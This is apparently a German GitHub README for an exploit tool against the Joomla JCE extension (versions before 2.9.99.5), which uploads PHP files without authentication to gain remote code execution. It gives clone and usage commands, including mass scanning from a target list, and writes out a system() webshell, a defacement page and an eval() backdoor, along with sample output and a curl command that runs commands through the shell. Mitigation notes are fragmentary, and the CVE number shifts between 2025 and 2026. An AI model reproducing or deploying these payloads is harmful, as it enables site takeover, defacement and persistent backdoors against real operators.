
CVE-2025-48907 - Nicht authentifizierter RCE-Exploit für Joomla JCE < 2.9.99.5
Joomla! JCE-Erweiterung < 2.9.99.5 – Unautorisierter PHP-Datei-Upload & Remote Code Execution
http.component:"Joomla"
app="Joomla"
Dieses Repository enthält einen Proof-of-Concept (PoC) Exploit für CVE-2026-48907, eine kritische Sicherheitslücke in der Joomla! JCE (Joomla Content Editor) Erweiterung vor Version 2.9.99.5. Die Schwachstelle erlaubt unautorisierten Angreifern, beliebige PHP-Dateien über die JCE-Profilimport-Funktion hochzuladen, was zu Remote Code Execution (RCE) führt.
Dieses Tool dient ausschließlich zu Bildungszwecken und autorisierten Tests.
- Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche Erlaubnis zum Testen haben
- Der Autor übernimmt keine Verantwortung für Missbrauch oder illegale Aktivitäten
- Holen Sie stets eine entsprechende Genehmigung ein, bevor Sie testen
index.php?option=com_jce&task=profiles.import)/tmp/ abgelegt und kann über direkten Zugriff ausgeführt werden# Repository klonen
git clone https://github.com/0xgh057r3c0n/CVE-2025-48907.git
cd CVE-2025-48907
# Erforderliche Abhängigkeiten installieren
pip3 install requests urllib3
requests-Bibliothekurllib3-Bibliothekpython3 CVE-2025-48907.py -u <ZIEL_URL> -F <HOCHZULADENDE_PHP_DATEI>
python3 CVE-2025-48907.py -u http://target-joomla.com -F shell.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F deface.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F backdoor.php
python3 CVE-2025-48907.py -f targets.txt -F payload.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F shell.php -v -o results.txt
* Entweder -u oder -f muss angegeben werden
Erstellen Sie eine targets.txt-Datei mit einer URL pro Zeile:
http://joomla-site1.com
https://joomla-site2.com
http://192.168.1.100/joomla
# Kommentare werden ignoriert
https://beispiel-joomla.com
Alle Payloads müssen PHP-Dateien sein, da der Exploit PHP-Code hochlädt, der auf dem Server ausgeführt wird.
Erstellen Sie shell.php:
<?php
// Einfache PHP-Webshell
if(isset($_GET['cmd'])){
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
} else {
echo "Verwendung: ?cmd=befehl";
}
?>
Erstellen Sie deface.php:
<?php
// PHP-Deface-Seite
echo '<!DOCTYPE html>
<html>
<head>
<title>Gehackt von 0xgh057r3c0n</title>
<style>
body {
background: #000;
color: #0f0;
font-family: "Courier New", monospace;
text-align: center;
padding: 50px;
}
h1 { font-size: 4em; text-shadow: 0 0 20px #0f0; }
.ascii-art { white-space: pre; font-size: 12px; }
</style>
</head>
<body>
<h1>GEHACKT VON 0xgh057r3c0n</h1>
<div class="ascii-art">
██╗ ██╗ █████╗ ██████╗██╗ ██╗███████╗██████╗
██║ ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗
███████║███████║██║ █████╔╝ █████╗ ██║ ██║
██╔══██║██╔══██║██║ ██╔═██╗ ██╔══╝ ██║ ██║
██║ ██║██║ ██║╚██████╗██║ ██╗███████╗██████╔╝
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═════╝
</div>
<p>Sicherheit ist kein Produkt, sondern ein Prozess.</p>
<p>Server: <?php echo $_SERVER["SERVER_SOFTWARE"]; ?></p>
<p>Zeit: <?php echo date("Y-m-d H:i:s"); ?></p>
</body>
</html>';
?>
Erstellen Sie backdoor.php:
<?php
// Minimale PHP-Backdoor
if(isset($_REQUEST['c'])) { eval($_REQUEST['c']); }
?>
_____________ _______________ _______________ ________ ________ _____ ______ ________________________
\_ ___ \ \ / /\_ _____/ \_____ \ _ \ \_____ \/ _____/ / | | / __ \/ __ \ _ \______ \
/ \ \/\ Y / | __)_ ______ / ____/ /_\ \ / ____/ __ \ ______ / | |_> <\____ / /_\ \ / /
\ \____\ / | \ /_____/ / \ \_/ \/ \ |__\ \ /_____/ / ^ / -- \ / /\ \_/ \/ /
\______ / \___/ /_______ / \_______ \_____ /\_______ \_____ / \____ |\______ / /____/ \_____ /____/
\/ \/ \/ \/ \/ \/ |__| \/ \/
Joomla! JCE-Erweiterung < 2.9.99.5 Unautorisierter RCE
Autor : 0xgh057r3c0n (PHP-Datei-Upload)
[*] 3 Ziel(e) geladen
[*] Ziel 1/3
[*] ==================================================
[+] Ziel: http://target-joomla.com
[+] CSRF-Token wird abgerufen...
[+] CSRF-Token: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
[+] PHP-Datei wird hochgeladen: cve-2026-48907-1234.xml.php
[+] Profil erfolgreich importiert!
[+] Hochgeladene PHP-Datei wird getestet...
============================================================
[!!!!!] PHP-DATEI ERFOLGREICH HOCHGELADEN!
[!!!!!] SERVER IST ANFÄLLIG FÜR CVE-2025-48907!
============================================================
[+] Ihre hochgeladene PHP-Datei anzeigen: http://target-joomla.com/tmp/cve-2026-48907-1234.xml.php
[+] Schnellzugriff:
curl "http://target-joomla.com/tmp/cve-2026-48907-1234.xml.php?cmd=id"
/tmp/ auf verdächtige PHP-Dateienindex.php?option=com_jce&task=profiles.import-Anfragen.xml.php in /tmp//tmp/JCE-Erweiterung aktualisieren:
Temporäre Workarounds:
/tmp/allow_url_fopen, falls nicht erforderlichMaßnahmen nach einer Kompromittierung:
/tmp/Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.
Beiträge sind willkommen! Bitte zögern Sie nicht, einen Pull Request einzureichen.
git checkout -b feature/AmazingFeature)git commit -m 'Füge AmazingFeature hinzu')git push origin feature/AmazingFeature)Wenn Sie dieses Tool nützlich finden, geben Sie ihm bitte einen Stern ⭐ auf GitHub!
| Eigenschaft | Wert |
|---|
| CVE-ID | CVE-2026-48907 |
| Produkt | Joomla! JCE-Erweiterung |
| Betroffene Versionen | < 2.9.99.5 |
| Schwachstellentyp | Unautorisierter PHP-Datei-Upload → RCE |
| CVSS-Score | 9.8 (Kritisch) |
| Angriffsvektor | Netzwerk |
| Authentifizierung | Keine erforderlich |
| Auswirkung | Vollständige Systemkompromittierung |
| Argument | Erforderlich | Beschreibung |
|---|
-u, --url | Ja* | Einzelne Ziel-URL (z. B. http://target.com) |
-f, --file | Ja* | Datei mit Liste der Ziel-URLs (eine pro Zeile) |
-F, --upload-file | Ja | Hochzuladende PHP-Datei (Shell, Backdoor, Deface-Seite) |
-v, --verbose | Nein | Ausführliche Ausgabe zur Fehlerbehebung aktivieren |
-o, --output | Nein | Erfolgreiche Upload-URLs in Datei speichern |